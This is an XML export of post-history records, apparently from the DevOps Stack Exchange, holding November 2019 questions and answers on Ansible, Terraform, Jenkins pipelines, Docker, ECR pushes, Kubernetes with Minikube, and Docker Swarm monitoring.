  <row Id="29317" PostHistoryTypeId="5" PostId="9766" RevisionGUID="475f0a49-a5f6-4cea-924e-adea2d79e486" CreationDate="2019-11-13T13:10:43.873" UserId="18043" Comment="edited title" Text="What is Ansible mainly used for?&#xD;&#xA;&#xD;&#xA;Where do I use Terraform?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Hi there I see that both tools are used. The questions goes into the directions where is either tool having strengths or weaknesses. Even more I like to get an idea of the community where either of these tools is used in the field. (Use Cases)&#xD;&#xA;For example: &#xD;&#xA;- Ansible for VM build and Software installation. &#xD;&#xA;- Terraform for Configuration ( Apply and Enforce) and Compliance Enforcements. &#xD;&#xA;- Terraform is used to Setup Cloud Environments mainly  etc.&#xD;&#xA;&#xD;&#xA;Hope that helps that answers can be more precisely" ContentLicense="CC BY-SA 4.0" />
  <row Id="29318" PostHistoryTypeId="5" PostId="9766" RevisionGUID="b690bd69-1dc3-4425-b325-57333025293d" CreationDate="2019-11-13T13:34:09.513" UserId="354" Comment="Re-worked some of the grammar." Text="What is Ansible mainly used for?&#xD;&#xA;&#xD;&#xA;Where do I use Terraform?&#xD;&#xA;&#xD;&#xA;This question focusses on where the tools have relative strengths or weaknesses. &#xD;&#xA;&#xD;&#xA;For example: &#xD;&#xA;&#xD;&#xA;- Ansible for VM build and Software installation. &#xD;&#xA;- Terraform for Configuration (Apply and Enforce) and Compliance Enforcements. &#xD;&#xA;- Terraform is used to Setup Cloud Environments mainly  etc.&#xD;&#xA;&#xD;&#xA;Hope this helps the question be more precisely answered" ContentLicense="CC BY-SA 4.0" />
  <row Id="29319" PostHistoryTypeId="2" PostId="9791" RevisionGUID="91dbe60b-4d5a-40a8-9830-e93bebe5109e" CreationDate="2019-11-13T13:50:40.653" UserId="18158" Text="You should try adding an entry to your priviledge escalation section.&#xD;&#xA;&#xD;&#xA;Set ```become_method``` to ```runas```. So in my opinion just change the ```become_method``` to ```runas``` and it should work just fine.&#xD;&#xA;&#xD;&#xA;Do make sure the ports 5985/5986 are opened in the security group from the AWS console and try again. Do post the logs if you can." ContentLicense="CC BY-SA 4.0" />
  <row Id="29320" PostHistoryTypeId="2" PostId="9792" RevisionGUID="3596c363-2eb0-4b2c-af65-367bd75dcfcb" CreationDate="2019-11-13T14:07:30.223" UserId="3062" Text="If I understand your question, you want a single variable to have different values per stage.  This same concept Octopus took a while to get right with being able to manage the variables.  Currently that isn't a thing that is available in Azure devops.  You can create a pipeline that Ned Flanders suggested but you would need to define the variable multiple times for each environment and scope each variable to the stage it is deployed in.  I think this is a need of azure devops and is one thing that octopus deploy does better than azure devops. I would recommend opening a feature request for this.  Microsoft moved away from user voice and onto developer community.  There is a request for this back in April that got closed in September due to low activity [closed request][1].  If you open up a new one, I'm sure we can get people here to vote on it&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developercommunity.visualstudio.com/idea/552933/single-pipeline-variable-separate-values-per-stage.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="29321" PostHistoryTypeId="2" PostId="9793" RevisionGUID="1ba0a041-4b06-4a3d-9b58-1580748932ef" CreationDate="2019-11-13T16:01:06.410" UserId="15792" Text="[Containerd][1] is a daemon for running containers.  The [Docker blog][2] has a nice write up explaining how this fits into Docker.  While containerd is used in Docker, it can also be used as a daemon for other container solutions.  Containerd requires runc in order to function.&#xD;&#xA;&#xD;&#xA;[runc][3] as defined by the project is a &quot;CLI tool for spawning and running containers according to the OCI specification&quot;.&#xD;&#xA;&#xD;&#xA;These tools are designed to follow the [Open Container Initiative][4] (OCI) specifications.  This has become a standard and defines how Docker and other tooling interacts with containerd and runc.&#xD;&#xA;&#xD;&#xA;When you look at most Kubernetes diagrams they will not show `containerd` or `runc` as they are abstracted away into the container engine you use (e.g., Docker, rkt).  Because Kubernetes uses `containerd`, it will also use `runc`.  This is what allows multiple container solutions that follow OCI specifications to integrate with Kubernetes.&#xD;&#xA;&#xD;&#xA;So yes, you could break down how part of Kubernetes is built by looking at `runc`, `containerd`, and the container engine.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/containerd/containerd&#xD;&#xA;  [2]: https://www.docker.com/blog/what-is-containerd-runtime/&#xD;&#xA;  [3]: https://github.com/opencontainers/runc&#xD;&#xA;  [4]: https://www.opencontainers.org/about" ContentLicense="CC BY-SA 4.0" />
  <row Id="29325" PostHistoryTypeId="2" PostId="9795" RevisionGUID="88df6aad-5a58-4b46-abcd-39edefffbe05" CreationDate="2019-11-13T16:43:35.953" UserId="2845" Text="This site already has great answers for questions like What is [DevOps](https://devops.stackexchange.com/questions/2892/what-is-devops) and what is [SecOps](https://devops.stackexchange.com/questions/686/what-is-secops).&#xD;&#xA;&#xD;&#xA;Over time, I have come to be of [the opinion](https://imgflip.com/s/meme/Change-My-Mind.jpg) that DevOps was born when the philosophy of the Agile methodology was applied to Operations. Similarly so with SecOps.&#xD;&#xA;&#xD;&#xA;What then would be DataOps - applying agile methods to Big Data &amp; Data Analytics look like? How is this similar to agile software development and DevOps and where might it be different?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29326" PostHistoryTypeId="1" PostId="9795" RevisionGUID="88df6aad-5a58-4b46-abcd-39edefffbe05" CreationDate="2019-11-13T16:43:35.953" UserId="2845" Text="What is DataOps?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29327" PostHistoryTypeId="3" PostId="9795" RevisionGUID="88df6aad-5a58-4b46-abcd-39edefffbe05" CreationDate="2019-11-13T16:43:35.953" UserId="2845" Text="&lt;data&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29329" PostHistoryTypeId="5" PostId="9747" RevisionGUID="1ae4d34b-349d-4721-b5d4-3e8d2c671dae" CreationDate="2019-11-13T19:13:44.497" UserId="210" Comment="appended answer 9781 as supplemental" Text="I am getting an error while running the Jenkins file tp build and push the docker image into docker hub .&#xD;&#xA;&#xD;&#xA;you can reveiw my code github : https://github.com/iakshaykr/webapp.git (using jenkins_pipe branch not master branch )&#xD;&#xA;&#xD;&#xA;Jenkinsfile : &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;    environment {&#xD;&#xA;        registry= &quot;iakshaykr/webapp&quot;&#xD;&#xA;        registryCredential= 'dockerhub'&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    agent { dockerfile true }&#xD;&#xA;&#xD;&#xA;    stages {&#xD;&#xA;        stage('Bilding image') {&#xD;&#xA;            steps {&#xD;&#xA;             script {&#xD;&#xA;                 docker.build registry + &quot;:$BUILD_NUMBER&quot;&#xD;&#xA;              }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![Screenshot of the jenkins job log][1]][1]&#xD;&#xA;&#xD;&#xA;[1]: https://i.stack.imgur.com/Az98F.png&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Below solution valid on Error code 127.If you are getting any other error code let me know .&#xD;&#xA;&#xD;&#xA;After doing R&amp;D finally got the solution.&#xD;&#xA;&#xD;&#xA;1st test your code in Jenkins using shell command which is in build option :&#xD;&#xA;&#xD;&#xA;cmd : docker build . -t newimage&#xD;&#xA;&#xD;&#xA;2nd test : use the docker plugin (Plugin name :CloudBees Docker Build and Publish)&#xD;&#xA;&#xD;&#xA;3rd test : use the build option : pipeline scm &#xD;&#xA;&#xD;&#xA;code : https://github.com/iakshaykr/webapp.git&#xD;&#xA;Use : jenkins_pipe branch &#xD;&#xA;&#xD;&#xA;Please test the thing ,in case any error please reply back .&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note : First setup/add the credentials for dockerhub in your jenkins for authentication ." ContentLicense="CC BY-SA 4.0" />
  <row Id="29331" PostHistoryTypeId="10" PostId="9747" RevisionGUID="4b44a773-288f-4006-95c4-bc935c22cdce" CreationDate="2019-11-13T19:17:17.830" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="29332" PostHistoryTypeId="11" PostId="9747" RevisionGUID="ff65686e-d5e6-4f33-8e3a-f1b829f909f7" CreationDate="2019-11-13T19:17:37.137" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="29333" PostHistoryTypeId="11" PostId="9769" RevisionGUID="7ee10cbc-d7c6-46e0-8baf-11762a8d844d" CreationDate="2019-11-13T19:30:42.600" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="29335" PostHistoryTypeId="52" PostId="9787" RevisionGUID="f74f9126-08b0-4598-8283-a52d1469479c" CreationDate="2019-11-13T19:53:30.210" />
  <row Id="29336" PostHistoryTypeId="5" PostId="8919" RevisionGUID="6760c196-dea3-4a73-ae7c-0a0899a6fa65" CreationDate="2019-11-13T19:59:02.910" UserId="16611" Comment="added 1 character in body" Text="I want to pass some environment variables in the time of generating the multibranch pipelines, so upon the build start, it will already have these variables.&#xD;&#xA;&#xD;&#xA;The only thing I found was this envInject plugin which is not supported by multibranch DSL generation.&#xD;&#xA;&#xD;&#xA;https://jenkinsci.github.io/job-dsl-plugin/#plugin/envinject&#xD;&#xA;&#xD;&#xA;Does anyone know the way to do that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29337" PostHistoryTypeId="2" PostId="9796" RevisionGUID="2b44a604-b448-46a1-9437-07846646c9f9" CreationDate="2019-11-13T23:35:45.527" UserId="18165" Text="What do you mean by &quot;it doesn't work&quot;? I got an error suggesting that the log format wasn't correct:&#xD;&#xA;&#xD;&#xA;    Fatal error has occurred&#xD;&#xA;    Error occured at: src/goaccess.c - set_curses - 1394&#xD;&#xA;    No time format was found on your conf file.&#xD;&#xA;&#xD;&#xA;When I edited `/etc/goaccess.conf` (i.e. uncommented/selected `time-format`, `date-format` and `log-format`) the `docker logs mycontainer | goaccess -` command works as expected.&#xD;&#xA;&#xD;&#xA;As an aside, for my `nginx` proxy inside my docker container, I had to set my `log_format` as follows:&#xD;&#xA;&#xD;&#xA;    log-format %v %h %^ %^ [%d:%t %^] &quot;%r&quot; %s %b &quot;%R&quot; &quot;%u&quot;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29338" PostHistoryTypeId="2" PostId="9797" RevisionGUID="f0b37274-43ee-41ad-9bb8-a5e600b9c55c" CreationDate="2019-11-14T02:04:01.097" UserId="11221" Text="I'm trying to push an image to ECR via a Jenkins pipeline. Currently I have the ECR plugin installed, and a role assigned to my EC2 instance that allows ECR access.&#xD;&#xA;&#xD;&#xA;I am using correct credentials that are valid for the region I am trying to push to. &#xD;&#xA;&#xD;&#xA;However I am getting this error message&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Pipeline] withDockerRegistry&#xD;&#xA;Using the existing docker config file.Removing blacklisted property: credsStore$ docker login -u AWS -p ******** https:/123456790.dkr.ecr.us-east-1.amazonaws.com&#xD;&#xA;WARNING! Using --password via the CLI is insecure. Use --password-stdin.&#xD;&#xA;Error response from daemon: Get https://https/v2/: dial tcp: lookup https: Temporary failure in name resolution&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Jenkins pipeline script&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker.withRegistry('https:/1234567890.dkr.ecr.us-east-1.amazonaws.com', 'ecr:us-east-1:aws-type-creds') {&#xD;&#xA;    app.push(env.GIT_COMMIT)&#xD;&#xA; }&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29339" PostHistoryTypeId="1" PostId="9797" RevisionGUID="f0b37274-43ee-41ad-9bb8-a5e600b9c55c" CreationDate="2019-11-14T02:04:01.097" UserId="11221" Text="Issue pushing to ECR using Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="29340" PostHistoryTypeId="3" PostId="9797" RevisionGUID="f0b37274-43ee-41ad-9bb8-a5e600b9c55c" CreationDate="2019-11-14T02:04:01.097" UserId="11221" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;docker-registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29341" PostHistoryTypeId="5" PostId="9797" RevisionGUID="5a697802-b974-4ac9-861a-57e2e909c45a" CreationDate="2019-11-14T02:21:43.330" UserId="11221" Comment="Added eidt with new error message and changed pipeline code." Text="I'm trying to push an image to ECR via a Jenkins pipeline. Currently I have the ECR plugin installed, and a role assigned to my EC2 instance that allows ECR access.&#xD;&#xA;&#xD;&#xA;I am using correct credentials that are valid for the region I am trying to push to. &#xD;&#xA;&#xD;&#xA;However I am getting this error message&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Pipeline] withDockerRegistry&#xD;&#xA;Using the existing docker config file.Removing blacklisted property: credsStore$ docker login -u AWS -p ******** https:/123456790.dkr.ecr.us-east-1.amazonaws.com&#xD;&#xA;WARNING! Using --password via the CLI is insecure. Use --password-stdin.&#xD;&#xA;Error response from daemon: Get https://https/v2/: dial tcp: lookup https: Temporary failure in name resolution&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Jenkins pipeline script&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker.withRegistry('https:/1234567890.dkr.ecr.us-east-1.amazonaws.com', 'ecr:us-east-1:aws-type-creds') {&#xD;&#xA;    app.push(env.GIT_COMMIT)&#xD;&#xA; }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;EDIT **&#xD;&#xA;Now getting this error with small change to pipeline&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;+ docker push 1234567890.dkr.ecr.us-east-1.amazonaws.com/sample:66e4bf8547da1b2fd8f852e093fd152a6b1ee598&#xD;&#xA;The push refers to repository [1234567890.dkr.ecr.us-east-1.amazonaws.com/sample]&#xD;&#xA;1f15c22274e7: Preparing&#xD;&#xA;70da67205593: Preparing&#xD;&#xA;f0726b634cb9: Preparing&#xD;&#xA;ab91817addbe: Preparing&#xD;&#xA;1be049a99262: Preparing&#xD;&#xA;cc82fb177433: Preparing&#xD;&#xA;97a48aebb8e5: Preparing&#xD;&#xA;1f7e5026a4f7: Preparing&#xD;&#xA;9e864b659f2b: Preparing&#xD;&#xA;f1b5933fe4b5: Preparing&#xD;&#xA;cc82fb177433: Waiting&#xD;&#xA;97a48aebb8e5: Waiting&#xD;&#xA;1f7e5026a4f7: Waiting&#xD;&#xA;9e864b659f2b: Waiting&#xD;&#xA;f1b5933fe4b5: Waiting&#xD;&#xA;no basic auth credentials&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Line changed was line 2 of the pipeline code I showed before. It is now `docker.image('alerts').push(env.GIT_COMMIT)`" ContentLicense="CC BY-SA 4.0" />
  <row Id="29343" PostHistoryTypeId="6" PostId="9795" RevisionGUID="fb7c170d-1829-47dd-9486-0d5547dce1a5" CreationDate="2019-11-14T04:11:14.040" UserId="47" Comment="edited tags" Text="&lt;terminology&gt;&lt;data&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29344" PostHistoryTypeId="2" PostId="9798" RevisionGUID="df1eef12-f1fa-41d7-822a-a7c4bbd7b09b" CreationDate="2019-11-14T04:18:53.787" UserId="7772" Text="I am a regular user of Docker since a few years and I have the Docker service installed and running locally on my Win10Pro host. It works well. Now I want to get started with Kubernetes so I used the [gcloud command-line installation][1] to install Kubernetes and got the following message:&#xD;&#xA;&#xD;&#xA;&gt; WARNING:   There are older versions of Google Cloud Platform tools on&#xD;&#xA;&gt; your system PATH.   Please remove the following to avoid accidentally&#xD;&#xA;&gt; invoking these old tools:&#xD;&#xA;&gt; &#xD;&#xA;&gt;   C:\Program Files\Docker\Docker\Resources\bin\kubectl.exe&#xD;&#xA;&#xD;&#xA;Looks like my Docker installation brought in another version of kubectl which Google advises me to delete. Should I really just delete the file from my Docker installation?&#xD;&#xA;&#xD;&#xA;There appears to be two versions of kubectl.exe installed now, one which came with Docker and one which I just installed from Google. Kubernetes in the Docker GUI is not enabled. Should I enable it in the Docker settings GUI?&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;After a while I tried to install Minikube and start it which results in the following output:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    C:\WINDOWS\system32&gt;minikube start&#xD;&#xA;    * minikube v1.5.2 on Microsoft Windows 10 Pro 10.0.17763 Build 17763&#xD;&#xA;    E1114 05:07:00.856628    3836 driver_windows.go:74] Can't find VirtualBox registry entries, is VirtualBox really installed properly? The system cannot find the file specified.&#xD;&#xA;    * Automatically selected the 'hyperv' driver&#xD;&#xA;    * Creating hyperv VM (CPUs=2, Memory=2000MB, Disk=20000MB) ...&#xD;&#xA;    * Preparing Kubernetes v1.16.2 on Docker '18.09.9' ...&#xD;&#xA;    * Pulling images ...&#xD;&#xA;    * Launching Kubernetes ...&#xD;&#xA;    * Waiting for: apiserver&#xD;&#xA;    * Done! kubectl is now configured to use &quot;minikube&quot;&#xD;&#xA;    ! C:\Program Files\Docker\Docker\Resources\bin\kubectl.exe is version 1.14.7, and is incompatible with Kubernetes 1.16.2. You will need to update C:\Program Files\Docker\Docker\Resources\bin\kubectl.exe or use 'minikube kubectl' to connect with this cluster&#xD;&#xA;    &#xD;&#xA;    C:\WINDOWS\system32&gt;&#xD;&#xA;&#xD;&#xA;But despite the above message, I can run and expose a service as expected:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    C:\WINDOWS\system32&gt;kubectl create deployment hello-minikube --image=k8s.gcr.io/echoserver:1.10&#xD;&#xA;    deployment.apps/hello-minikube created&#xD;&#xA;    &#xD;&#xA;    C:\WINDOWS\system32&gt;kubectl expose deployment hello-minikube --type=NodePort --port=8080&#xD;&#xA;    service/hello-minikube exposed&#xD;&#xA;    &#xD;&#xA;    C:\WINDOWS\system32&gt;kubectl get pod&#xD;&#xA;    NAME                              READY   STATUS    RESTARTS   AGE&#xD;&#xA;    hello-minikube-797f975945-tj4g6   1/1     Running   0          13s&#xD;&#xA;    &#xD;&#xA;    C:\WINDOWS\system32&gt;minikube service hello-minikube --url&#xD;&#xA;    http://172.17.100.11:30575&#xD;&#xA;    &#xD;&#xA;    C:\WINDOWS\system32&gt;&#xD;&#xA;    &#xD;&#xA;The service does show its output at the above url. Do you think that my installation and configuration of Kubernetes is alright or is there something that I need to fix? Did I do this correctly?&#xD;&#xA;&#xD;&#xA;I did not remove the kubectl.exe from the Docker installation and I installed Minikube without being adviced to do it but it seems correct. What's peculiar is that the client and the server now show different versions:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    C:\WINDOWS\system32&gt;kubectl version&#xD;&#xA;    Client Version: version.Info{Major:&quot;1&quot;, Minor:&quot;14&quot;, GitVersion:&quot;v1.14.7&quot;, GitCommit:&quot;8fca2ec50a6133511b771a11559e24191b1aa2b4&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-09-18T14:47:22Z&quot;, GoVersion:&quot;go1.12.9&quot;, Compiler:&quot;gc&quot;, Platform:&quot;windows/amd64&quot;}&#xD;&#xA;    Server Version: version.Info{Major:&quot;1&quot;, Minor:&quot;16&quot;, GitVersion:&quot;v1.16.2&quot;, GitCommit:&quot;c97fe5036ef3df2967d086711e6c0c405941e14b&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-10-15T19:09:08Z&quot;, GoVersion:&quot;go1.12.10&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;    &#xD;&#xA;    C:\WINDOWS\system32&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tasks/tools/install-kubectl/#download-as-part-of-the-google-cloud-sdk&#xD;&#xA;  [2]: https://i.stack.imgur.com/X2Vec.png&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29345" PostHistoryTypeId="1" PostId="9798" RevisionGUID="df1eef12-f1fa-41d7-822a-a7c4bbd7b09b" CreationDate="2019-11-14T04:18:53.787" UserId="7772" Text="Kuberentes installation, configuration and verification in a local environment" ContentLicense="CC BY-SA 4.0" />
  <row Id="29346" PostHistoryTypeId="3" PostId="9798" RevisionGUID="df1eef12-f1fa-41d7-822a-a7c4bbd7b09b" CreationDate="2019-11-14T04:18:53.787" UserId="7772" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;windows&gt;&lt;learning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29354" PostHistoryTypeId="5" PostId="9735" RevisionGUID="f0f256a1-721c-4659-919f-54d71bdab262" CreationDate="2019-11-14T08:58:42.123" UserId="18065" Comment="added 218 characters in body" Text="Just like the headline suggested, is it too big to implement devOps on a private application I'm solely developing. I mean creating the pipelines, continuous testing and continuous deployment.&#xD;&#xA;&#xD;&#xA;And if I must do it for learning purpose which is the main intent. Is it fun to carry out? How's the learning curve and won't I waste too much of my development time? I'm curious enough to go down the rabbit hole." ContentLicense="CC BY-SA 4.0" />
  <row Id="29358" PostHistoryTypeId="2" PostId="9802" RevisionGUID="e38c4d21-1289-465b-b470-ec397b904b9a" CreationDate="2019-11-14T09:25:03.763" UserId="18169" Text="I have been on a typical journey of...&#xD;&#xA;&#xD;&#xA; 1. deploying software on a machine -&gt;&#xD;&#xA; 2. deploying software in a container -&gt; &#xD;&#xA; 3. deploying software using docker swarm.&#xD;&#xA;&#xD;&#xA;My need for this journey is that swarm removes a large portion of micro-managing resources and machine allocation etc..&#xD;&#xA;&#xD;&#xA;There is, however, a hurdle I am trying to overcome.&#xD;&#xA;For point one and two, we have heavy monitoring of our software using a tool (Zabbix) which has given us great insights into any problems or metrics. &#xD;&#xA;&#xD;&#xA;As we migrate to point three, how does one monitor an individual container?&#xD;&#xA;&#xD;&#xA;**To give a real-world illustration:**&#xD;&#xA;&#xD;&#xA;I have software that is &quot;buggy&quot;, every now and then it dies. The health check would typically fail and a new container would start with no service interruption. My question is, how am I aware that this has occurred in order to investigate a potential problem. &#xD;&#xA;&#xD;&#xA;One potential solution is to monitor the docker swarm event stream; is this the only solution?&#xD;&#xA;&#xD;&#xA;Any additional insights into this are greatly appreciated.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29359" PostHistoryTypeId="1" PostId="9802" RevisionGUID="e38c4d21-1289-465b-b470-ec397b904b9a" CreationDate="2019-11-14T09:25:03.763" UserId="18169" Text="Docker swarm container monitoring" ContentLicense="CC BY-SA 4.0" />
  <row Id="29360" PostHistoryTypeId="3" PostId="9802" RevisionGUID="e38c4d21-1289-465b-b470-ec397b904b9a" CreationDate="2019-11-14T09:25:03.763" UserId="18169" Text="&lt;docker&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29368" PostHistoryTypeId="2" PostId="9806" RevisionGUID="07011a96-9b11-47c0-9168-8d9f9e840100" CreationDate="2019-11-14T14:27:39.050" UserId="2704" Text="To complete Jiri's answer, ansible-runner is used as ansible runtime in the openshift-operator framework, so you run a ansible playbook in a container either in a Kubernetes or Openshift to reconcile cluster status when changes appears." ContentLicense="CC BY-SA 4.0" />
  <row Id="29369" PostHistoryTypeId="5" PostId="9806" RevisionGUID="97dc4a89-ec5f-40dc-94a8-d45feca27d6b" CreationDate="2019-11-14T14:54:51.160" UserId="2704" Comment="add analogy with docker runtines" Text="To complete Jiri's answer, I found out that `ansible-runner` is used as ansible runtime in the [openshift-operator][1] framework, so you run a ansible playbook or an ansible role in a pod to reconcile cluster status when changes appears on resources.&#xD;&#xA;&#xD;&#xA;So `ansible-runner` is a really the runtime execution for ansible as `runc` or `cri-o` can be for containers execution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/operator-framework" ContentLicense="CC BY-SA 4.0" />
  <row Id="29373" PostHistoryTypeId="2" PostId="9808" RevisionGUID="160c416a-3ebe-498f-9bf6-7b8c0649d57a" CreationDate="2019-11-14T16:39:02.307" UserId="18176" Text="We've got a Linux Jenkins master node  set up in AWS behind a load balancer and I'm attempting to connect to Windows slave nodes in private subnets.  Is this possible?  The Jenkins URL is accessible when I RDP into each server, but when I attempt to configure the node using &quot;Launch agent from browser&quot; an error occurs.&#xD;&#xA;&#xD;&#xA;    hudson.remoting.jnlp.Main$CuiListener status&#xD;&#xA;    INFO: Connecting to &lt;JenkinsURL&gt;:39057 (retrying:4)&#xD;&#xA;    java.io.IOException: Failed to connect to gpa-jenkins- &#xD;&#xA;    prod.aws.baxter.com:39057&#xD;&#xA;        at org.jenkinsci.remoting.engine.JnlpAgentEndpoint.open(JnlpAgentEndpoint.java:242)&#xD;&#xA;        at hudson.remoting.Engine.connect(Engine.java:686)&#xD;&#xA;        at hudson.remoting.Engine.innerRun(Engine.java:547)&#xD;&#xA;        at hudson.remoting.Engine.run(Engine.java:469)&#xD;&#xA;    Caused by: java.net.ConnectException: Connection refused: connect&#xD;&#xA;        at sun.nio.ch.Net.connect0(Native Method)&#xD;&#xA;        at sun.nio.ch.Net.connect(Unknown Source)&#xD;&#xA;        at sun.nio.ch.Net.connect(Unknown Source)&#xD;&#xA;        at sun.nio.ch.SocketChannelImpl.connect(Unknown Source)&#xD;&#xA;        at java.nio.channels.SocketChannel.open(Unknown Source)&#xD;&#xA;        at org.jenkinsci.remoting.engine.JnlpAgentEndpoint.open(JnlpAgentEndpoint.java:203)&#xD;&#xA;        ... 3 more&#xD;&#xA;&#xD;&#xA;What could be the source for this refusal? " ContentLicense="CC BY-SA 4.0" />
  <row Id="29374" PostHistoryTypeId="1" PostId="9808" RevisionGUID="160c416a-3ebe-498f-9bf6-7b8c0649d57a" CreationDate="2019-11-14T16:39:02.307" UserId="18176" Text="Can Jenkins master connect to a slave node in a private subnet?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29375" PostHistoryTypeId="3" PostId="9808" RevisionGUID="160c416a-3ebe-498f-9bf6-7b8c0649d57a" CreationDate="2019-11-14T16:39:02.307" UserId="18176" Text="&lt;jenkins&gt;&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29376" PostHistoryTypeId="2" PostId="9809" RevisionGUID="0ed08e2f-9b1f-4c09-a472-595a29d109b1" CreationDate="2019-11-14T18:26:43.457" UserId="11179" Text="November 13, 2019, [Mirantis Acquires Docker Enterprise Platform Business](https://www.mirantis.com/company/press-center/company-news/mirantis-acquires-docker-enterprise/). The same day, Docker Inc. claims [they will now focus on docker Desktop and Docker Hub](https://www.docker.com/blog/docker-next-chapter-advancing-developer-workflows-for-modern-apps/).&#xD;&#xA;&#xD;&#xA;Does that mean Docker Community Edition is dead--or soon to be dead?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29377" PostHistoryTypeId="1" PostId="9809" RevisionGUID="0ed08e2f-9b1f-4c09-a472-595a29d109b1" CreationDate="2019-11-14T18:26:43.457" UserId="11179" Text="Is Docker Community Edition dead with Docker acquisition by Mirantis?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29378" PostHistoryTypeId="3" PostId="9809" RevisionGUID="0ed08e2f-9b1f-4c09-a472-595a29d109b1" CreationDate="2019-11-14T18:26:43.457" UserId="11179" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29379" PostHistoryTypeId="2" PostId="9810" RevisionGUID="f343bd35-ec97-46ad-83ab-3c8aa98ca670" CreationDate="2019-11-14T18:59:09.273" UserId="18178" Text="**Background**&#xD;&#xA;&#xD;&#xA;When you start a Docker container as in the following example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ docker run -ti ubuntu:latest&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Docker docker automatically assigns the container an ID and a friendly name.&#xD;&#xA;&#xD;&#xA;Docker friendly names are of the format `adjective_famousPerson`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Problem**&#xD;&#xA;&#xD;&#xA;I would like to get the friendly name that Docker will generate for the next container, so that I can assign that name to the hostname parameter of my `docker run` command.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;```&#xD;&#xA;$ docker run -ti --hostname docker.next_friendly_name ubuntu:latest&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;Is there a built in way to do this with docker?&#xD;&#xA;&#xD;&#xA;I need a friendly name that is randomly generated, but I don't want to script it up myself if there is a way to do this with **Docker** or even **Docker Swarm**.&#xD;&#xA;&#xD;&#xA;Additionally, the `name` of the container and the `hostname` of the container need to match." ContentLicense="CC BY-SA 4.0" />
  <row Id="29380" PostHistoryTypeId="1" PostId="9810" RevisionGUID="f343bd35-ec97-46ad-83ab-3c8aa98ca670" CreationDate="2019-11-14T18:59:09.273" UserId="18178" Text="How to get the next friendly name that Docker will assign to the container it will make?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29381" PostHistoryTypeId="3" PostId="9810" RevisionGUID="f343bd35-ec97-46ad-83ab-3c8aa98ca670" CreationDate="2019-11-14T18:59:09.273" UserId="18178" Text="&lt;docker&gt;&lt;containers&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 4.0" />
